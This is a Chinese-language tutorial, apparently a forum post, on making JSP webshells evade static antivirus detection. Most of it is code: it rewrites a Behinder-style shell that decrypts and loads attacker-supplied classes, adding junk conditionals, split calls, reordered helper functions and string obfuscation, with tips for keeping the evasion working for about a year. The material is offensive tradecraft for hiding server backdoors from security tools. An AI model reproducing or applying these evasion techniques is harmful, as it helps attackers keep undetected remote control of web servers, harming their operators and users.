webshell静态免杀的一些思路
字数 552 2025-08-06 08:35:11

WebShell静态免杀技术详解

1. 静态查杀绕过原理

静态查杀是杀毒软件通过检查WebShell文件内容,提取文件特征与已知恶意模式进行比对的技术。这些恶意模式包括:

  • 已知病毒特征
  • 恶意软件代码片段
  • 危险函数正则表达式匹配

绕过原理:通过修改代码结构使杀软规则无法匹配到恶意代码。

2. 添加无意义代码技术

2.1 基本方法

在不改变代码功能的情况下修改代码特征,使杀毒软件特征匹配失败。

示例:

// 原始代码
String k = "xxxxxxxx";

// 修改后代码
String k = "";
if (21174 < 18818181){
    k = "xxxxxx";
}

// 或添加前置无意义代码
float f = 314141.14f;
if (1231241 > 12312){
    f += 12314.11f;
}
String k = "xxxxxxxx";

2.2 实际应用案例

以冰蝎JSP马为例,通过添加大量无意义代码和条件判断:

<%!
    class U extends ClassLoader {
        String AA = "AAAAAAA";
        String BB = "BBBBBBB";
        String CC = "CCCCCCC";
        U(ClassLoader c) {
            super(c);
            if (1929341894> 12313){
                boolean b = 18288 % 10 == 2;
            }
        }
        public Class g(byte[] b) {
            if (2 > 100){
                String aa = "AAAAAAA";
                int s = 1929341894 - 12313;
                aa = aa + s;
            }else {
                String cc = "ccccccc";
            }
            return super.defineClass(b, 0, b.length);
        }
    }
%>

2.3 代码拆分技术

将关键代码拆分成多个部分:

// 原始代码
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);

// 拆分后代码
ClassLoader CL = this.getClass().getClassLoader();
U u = new U(CL);
BufferedReader reader = request.getReader();
String readLine = reader.readLine();
byte[] decode = Base64.getDecoder().decode(readLine);
byte[] bytes = c.doFinal(decode);
u.g(bytes).newInstance().equals(pageContext);

3. 函数定义修改代码顺序

通过定义函数改变代码在文件中的顺序,绕过较强杀软如卡巴斯基的检测。

3.1 基本方法

// 原始可检测代码
new U(this.getClass().getClassLoader());

// 修改为函数定义方式
<%
    new U(getClassLoader);
%>
<%!
    public ClassLoader getClassLoader(){
        return this.getClass().getClassLoader();
    }
%>

3.2 完整实现案例

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.security.InvalidKeyException" %>
<%!
    class UUAND extends ClassLoader {
        // ... 类定义代码 ...
    }
%>

<%
    if (request.getMethod().equals("POST")) {
        // ... 请求处理代码 ...
    }
%>
<%!
    public ClassLoader getClassLoader(){
        Object o = this;
        Class<?> aClass = o.getClass();
        ClassLoader classLoader = aClass.getClassLoader();
        return classLoader;
    }

    public byte[] getByte(String readline){
        return Base64.getDecoder().decode(readline);
    }

    public Object run(UUAND u, byte[] bytes){
        try {
            return u.g(bytes).newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    public void go(Cipher c, String k){
        try {
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        } catch (InvalidKeyException e) {
            e.printStackTrace();
        }
    }
%>

4. 其他免杀技术

4.1 字符串混淆技术

// 原始代码
k = "e45e329feb5d925b";

// 修改后代码
k = "Ae45e329fA" + "Aeb5Ad925bAAAA";
k.replace("A", "");

4.2 复杂化对象调用链

// 原始代码
this.getClass().getClassLoader();

// 修改后代码
Object o = this;
if(false){
    o = null;
}
Class<?> aClass = o.getClass();
if (aClass == null){
    aClass = null;
}
ClassLoader classLoader = aClass.getClassLoader();

5. 总结

WebShell静态免杀的核心原则:

  1. 不改变代码功能的前提下改变代码结构
  2. 主要技术手段包括:
    • 添加无意义代码和条件判断
    • 拆分关键代码为多个部分
    • 使用函数改变代码顺序
    • 字符串混淆和复杂化调用链
  3. 混合使用多种技术可提高免杀效果,通常可维持1年左右的有效期

注意事项:

  • 定期更新免杀技术,避免依赖单一方法
  • 针对不同杀软采用不同策略
  • 实际应用中需结合动态免杀技术
WebShell静态免杀技术详解 1. 静态查杀绕过原理 静态查杀是杀毒软件通过检查WebShell文件内容,提取文件特征与已知恶意模式进行比对的技术。这些恶意模式包括: 已知病毒特征 恶意软件代码片段 危险函数正则表达式匹配 绕过原理:通过修改代码结构使杀软规则无法匹配到恶意代码。 2. 添加无意义代码技术 2.1 基本方法 在不改变代码功能的情况下修改代码特征,使杀毒软件特征匹配失败。 示例: 2.2 实际应用案例 以冰蝎JSP马为例,通过添加大量无意义代码和条件判断: 2.3 代码拆分技术 将关键代码拆分成多个部分: 3. 函数定义修改代码顺序 通过定义函数改变代码在文件中的顺序,绕过较强杀软如卡巴斯基的检测。 3.1 基本方法 3.2 完整实现案例 4. 其他免杀技术 4.1 字符串混淆技术 4.2 复杂化对象调用链 5. 总结 WebShell静态免杀的核心原则: 不改变代码功能的前提下改变代码结构 主要技术手段包括: 添加无意义代码和条件判断 拆分关键代码为多个部分 使用函数改变代码顺序 字符串混淆和复杂化调用链 混合使用多种技术可提高免杀效果,通常可维持1年左右的有效期 注意事项: 定期更新免杀技术,避免依赖单一方法 针对不同杀软采用不同策略 实际应用中需结合动态免杀技术